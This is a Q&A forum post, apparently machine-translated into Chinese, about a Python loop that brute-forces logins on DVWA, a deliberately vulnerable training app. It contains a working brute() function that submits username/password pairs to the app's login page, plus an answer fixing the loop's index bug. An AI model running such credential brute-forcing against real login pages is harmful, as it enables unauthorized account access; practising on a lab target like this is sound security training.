Python loop for dvwa bruteforce



试图使用户:在python中传递暴力破解以进行DVWA练习

我想做什么:

我在列表中有 10 个密码和 10 个用户名[]

循环应该使用一个用户名并尝试所有 10 个密码,然后是第二个用户名并执行相同的

操作这是我正在使用的代码

u=0
p=0
try:
while True:
for _ in usernames:
user = usernames[u]
u+=1
for _ in passwords:
passwd = passwords[p]
brute(user, passwd)
print("trying password on %s : %s " % (user, passwd), end="r")
p+=1
except IndexError:
pass

在第一个用户名上尝试所有密码后,它会停止并结束程序。

我在这里做错了什么?,道歉新手程序员

暴力函数

def brute(user, passwd):
hit = session.get(target + 'vulnerabilities/brute/?username=%s&password=%s&Login=Login' % (user, passwd))
soup = BeautifulSoup(hit.text, 'html.parser')
if str(soup.p) == "<p>Welcome to the password protected area admin</p>":
print('login success =>')
return True
return False

您忘记在密码循环之前设置p=0。因此,它在第二个用户和第一个密码的迭代中给出了IndexError

顺便说一下,您的代码可以简化为:

for username in usernames:
for password in passwords:
print("trying password on %s : %s " % (username, password), end="r")
brute(username, password)

相关内容

  • 没有找到相关文章

最新更新